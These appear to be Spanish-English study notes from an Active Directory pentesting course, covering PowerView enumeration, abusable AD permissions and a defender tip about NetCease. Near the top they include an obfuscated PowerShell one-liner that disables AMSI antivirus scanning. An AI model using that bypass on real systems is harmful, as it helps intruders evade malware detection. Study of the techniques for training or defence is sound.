Domain Enumeration

Recomienda usar PowerView, que es cool, pero es muy viejo.

Para AV bypass:

powershell -ep bypass
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]("{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ))."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),("{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(${n`ULl},${t`RuE} )
. .\PowerView.ps1

 

 

Get-Domain

(While attacking kerberos is important to comply with policies to avoid detection)

luego dicen que hay que revisar las descriptions para ver si no hay passwords ahí.

Con Get-NetComputer puedes ver todas las machines en un domain.

Para sacar los admins

Si lo haces en root ves los enterprise admins

Otros interesantes

Access Control

  1. Access tokens (identity and privileges)
  2. Security Descriptors (SID, Discretional ACL y System ACL)

GenericAll – full rights to the object (add users to a group or reset user’s password)
GenericWrite – update object’s attributes (i.e logon script)
WriteOwner – change object owner to attacker controlled user take over the object
WriteDACL – modify object’s ACEs and give attacker full control right over the object
AllExtendedRights – ability to add user to a group or reset password
ForceChangePassword – ability to change user’s password
Self (Self-Membership) – ability to add yourself to a group

Find-LocalAdminAccess checa en donde somos local admins pero hay que tomar en cuenta que es super ruidoso! 

para los azules, netcease.ps1 puede bloquear esto si lo aplicas en el DC